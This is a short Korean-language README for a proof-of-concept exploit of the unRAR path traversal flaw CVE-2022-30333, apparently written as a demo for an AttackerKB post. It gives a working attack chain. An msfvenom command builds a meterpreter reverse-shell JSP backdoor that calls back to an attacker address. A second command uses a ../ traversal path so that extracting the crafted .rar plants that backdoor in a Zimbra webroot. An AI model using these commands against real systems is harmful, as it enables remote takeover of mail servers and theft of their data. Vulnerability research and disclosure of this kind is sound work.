
CVE-2022-30333 unRAR 경로 탐색(Path Traversal) 취약점에 대한 개념 증명 익스플로잇으로, 악성 .rar 파일을 생성하여 임의의 페이로드를 공격자가 지정한 위치에 추출합니다.
CVE-2022-30333의 개념 증명입니다. 이는 unRAR 6.11 이전 버전에 존재하는 경로 탐색 취약점입니다. AttackerKB 게시물을 위한 익스플로잇 데모로 제작했으며, 곧 Metasploit 모듈에 통합할 예정입니다!
기본적으로 대상(경로 탐색 포함)과 파일 데이터를 제공하면 이 도구가 해당 위치에 파일을 추출할 .rar 파일을 생성합니다. 최대 파일 길이는 104바이트이며, 최대 파일 데이터 크기는 4096바이트입니다. (이는 취약점 자체의 한계가 아니라, 파일을 생성할 때 제가 선택한 값입니다.)
예를 들어, msfvenom으로 백도어를 생성합니다.
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
그런 다음 .jsp 파일을 특정 위치에 심어 .rar 파일을 만듭니다.
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar